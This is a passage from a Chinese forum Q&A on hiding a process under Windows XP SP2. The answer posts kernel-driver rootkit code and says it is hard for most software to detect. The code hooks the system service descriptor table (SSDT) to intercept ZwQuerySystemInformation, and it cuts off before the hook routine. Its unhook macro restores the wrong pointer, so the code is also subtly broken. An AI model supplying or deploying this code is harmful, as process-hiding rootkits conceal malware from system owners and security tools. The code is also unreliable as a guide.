win sp2 下如何隐藏进程
win sp2 下如何隐藏进程
[解决办法]
这段代码隐藏效果较好，一般软件检测不出来
#include "ntddk.h "
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//获得SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//声明各种结构
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
// Added by Creative of rootkit.com
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;
